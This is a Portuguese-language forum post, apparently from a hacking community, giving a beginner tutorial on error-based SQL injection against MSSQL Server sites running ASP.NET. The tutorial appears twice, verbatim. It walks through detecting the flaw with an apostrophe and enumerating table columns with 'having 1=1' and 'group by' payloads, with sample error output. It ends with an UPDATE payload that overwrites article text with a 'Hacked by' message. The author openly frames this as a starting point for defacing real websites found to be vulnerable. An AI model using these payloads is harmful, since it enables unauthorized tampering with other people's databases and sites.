Boa tarde pessoal , como estou com muita boa vontade hoje vou postar um tutorial muito simples de SQL Injection em MSSQL Server, oque quase todos conheçem...
1 - Oque é SQL Injection?
SQL Injection é a injeção de códigos SQL no servidor SQL da máquina, sejam eles códigos maliciosos ou não, depende das intenções do atacante, SQL Injection é a consulta ao banco de dados por meio de uma falha nos programas mal escritos do site, que nos acaba levando ao banco de dados.
2 - Oque é o MSSQL Server?
MSSQL Server, como o nome diz, é um servidor de SQL, ou seja um banco de dados para simplificar, roda em sistemas da Micro$oft poisé é um produto deles, no seu padrão roda em máquinas WIN utilizando linguagem de programação web ASP.NET, mais pode ser encontrado rodando tbm em outros sistemas como Linux em outras linguagens como PHP, mas vamos trabalhar com ASP.NET e WIN para não complicar muito.
3 - Descubrindo a Vulnerabilidade:
Vamos achar um site vulnerável utilizando o serviço de SQL da Microsoft apenas colocando um apóstrofo ('),
se estiver vulnerável vai retornar algo como ou parecido:
ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ‘‘.
podemos ver que está vulnerável!
agora nos resta explorar.
4 - Explorando a Vulnerabilidade:
Agora fassa o seguinte, rode a seguinte sintaxe: having 1=1
ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... having 1=1--
irá gerar este erro:
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘artigo.id’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
Como vimos no erro gerado, mostrou uma tabela (artigo), e uma coluna (id), que siginifica a id do artigo.
após isso, continuamos, até chegar em uma coluna importante, que nos chame a atenção, como titulo, texto, imagem, etc.
Agora usaremos a sintaxe GROUP BY
ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... group by artigo.id having 1=1--
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘artigo.autor’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
Vamos seguindo... afinal, não queremos só editar o "autor".
ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... group by artigo.id,artigo.autor having 1=1--
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘artigo.titulo’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
GET IT! conseguimos achar o titulo do artigo... bom, mais podemos conseguir mais.
ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... group by artigo.id,artigo.autor,artigo.titulo having 1=1--
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘artigo.texto’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
pronto, uma coluna importante, texto... podemos editar agora o texto do artigo... e ver no que da
ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... update artigo set texto="Hacked by Spy_Unkn0wn"
Pronto, tutorial básico de SQL Injection em MSSQL Server.
Espero que tenham gostado, não é grande coisa, mais vi que tem bastante gente que se interessa por deface aqui e não sabe por onde começar, tai ó, um bom começo.
posteriormente postarei outros tutorials de SQL Injection rodando com outros servidores SQL.
créditos :spy_unknown
Reeditado por L.henvy
1 - Oque é SQL Injection?
SQL Injection é a injeção de códigos SQL no servidor SQL da máquina, sejam eles códigos maliciosos ou não, depende das intenções do atacante, SQL Injection é a consulta ao banco de dados por meio de uma falha nos programas mal escritos do site, que nos acaba levando ao banco de dados.
2 - Oque é o MSSQL Server?
MSSQL Server, como o nome diz, é um servidor de SQL, ou seja um banco de dados para simplificar, roda em sistemas da Micro$oft poisé é um produto deles, no seu padrão roda em máquinas WIN utilizando linguagem de programação web ASP.NET, mais pode ser encontrado rodando tbm em outros sistemas como Linux em outras linguagens como PHP, mas vamos trabalhar com ASP.NET e WIN para não complicar muito.
3 - Descubrindo a Vulnerabilidade:
Vamos achar um site vulnerável utilizando o serviço de SQL da Microsoft apenas colocando um apóstrofo ('),
se estiver vulnerável vai retornar algo como ou parecido:
ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ‘‘.
podemos ver que está vulnerável!
agora nos resta explorar.
4 - Explorando a Vulnerabilidade:
Agora fassa o seguinte, rode a seguinte sintaxe: having 1=1
ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... having 1=1--
irá gerar este erro:
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘artigo.id’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
Como vimos no erro gerado, mostrou uma tabela (artigo), e uma coluna (id), que siginifica a id do artigo.
após isso, continuamos, até chegar em uma coluna importante, que nos chame a atenção, como titulo, texto, imagem, etc.
Agora usaremos a sintaxe GROUP BY
ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... group by artigo.id having 1=1--
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘artigo.autor’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
Vamos seguindo... afinal, não queremos só editar o "autor".
ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... group by artigo.id,artigo.autor having 1=1--
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘artigo.titulo’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
GET IT! conseguimos achar o titulo do artigo... bom, mais podemos conseguir mais.
ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... group by artigo.id,artigo.autor,artigo.titulo having 1=1--
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘artigo.texto’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
pronto, uma coluna importante, texto... podemos editar agora o texto do artigo... e ver no que da
ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... update artigo set texto="Hacked by Spy_Unkn0wn"
Pronto, tutorial básico de SQL Injection em MSSQL Server.
Espero que tenham gostado, não é grande coisa, mais vi que tem bastante gente que se interessa por deface aqui e não sabe por onde começar, tai ó, um bom começo.
posteriormente postarei outros tutorials de SQL Injection rodando com outros servidores SQL.
créditos :spy_unknown
Reeditado por L.henvy
Comment